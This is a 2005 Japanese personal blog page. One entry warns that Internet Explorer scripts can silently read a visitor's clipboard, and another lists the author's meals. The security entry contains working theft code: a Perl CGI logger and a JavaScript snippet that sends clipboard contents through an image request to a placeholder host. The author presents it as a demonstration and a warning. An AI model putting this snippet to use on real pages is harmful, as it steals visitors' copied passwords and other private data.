« 2005年11月22日 | メイン | 2005年11月24日 »

2005年11月23日

あなたのクリップボードが盗まれる

スクリプトによる貼り付け許可

IE には、便利な機能がある。それは、スクリプト(JavaScript etc..)でクリップボードの操作ができるのだ。clipboardData というオブジェクトね。操作できる内容は、クリップボードにデータを読み込むこと(setData)、読み出すこと(getData)、消去すること(clearData)の3種類。

読み出すことも可能なんですよね。しかも、デフォルトでは、警告すら出ない。

以下のような、プログラムを準備しよう。

#!/usr/bin/perl

use strict;

my $file = '/tmp/cb.txt';

open (CB, ">> $file");
print CB "$ENV{'QUERY_STRING'}\n";
close (CB);

print "Status: 301 Moved Permanently\n";
print "Location: http://host/img/pixel.gif\n\n";

exit;

何の変哲も無い。CGI に渡される QUERY STRING をテキストファイルに保存していくだけだ(? 以降ね)。エラーが出ないように、画像ファイルにリダイレクトもするけど。このプログラムを cb.cgi として、以下のように HTML に貼り付けると…

<script language="JavaScript">
<!--
document.write('<img src="http://host/cb.cgi?'+clipboardData.getData("Text")+'">');
// -->
</script>

そのページを訪れた人のクリップボードの内容を、どんどん cb.txt に保存していくことができます。大半の IE ユーザーは、気づきもしません。いやー。危険だなぁ。

JavaScript などを無効にすると、ウェブページの楽しさの半分しか満喫できない。と思っているので、設定は「既定のレベル」にしていたのだけど「スクリプトによる貼り付け処理の許可」は、「ダイアログに表示する」の設定に変えた。

ちなみに Firefox では、オブジェクトすら無いのでクリップボードが盗まれることはありません(他のオブジェクトを調べてないからよくしらん)。 Windows の IE 限定のオブジェクトっぽいですね。

結構有名な話かもしれませんが、昨日知ったので、わざわざエントリーにしてみました。

clipboardData は、人様の情報を横取りするために準備されたオブジェクトではないと思うので、もっと有用な方法を考えないとね。それこそ web 2.0 ですよ。良く知らんけど。

危険危険といわれても、具体例がないと実感がわきませんよね。そういう具体例でした。入力間違いが無いようにパスワードを コピー&ペースト しなさい。とよく言われるかもしれませんが、盗まれてたかもしれませんねー。

18:45 | コメント (5) | トラックバック | Technology

焼肉は良い

宝島でも十分だ。ということで、昨日(22日)の食事内容です。
昼は、パンを食べた。特になんて無い。普通のパンだ。
夜は、宝島に行ってきて焼肉。誰かさんのおかげで、宝島では定食しか頼まなくなってきた。本当は、バラで頼むのが好きなんだけどなー。宝島は、そういう雰囲気がないと言えば無い感じがするな。

自宅 (昼)
 パン
宝島 (夜)
 まんぷくセット, タン塩

18:40 | コメント (0) | トラックバック | Meal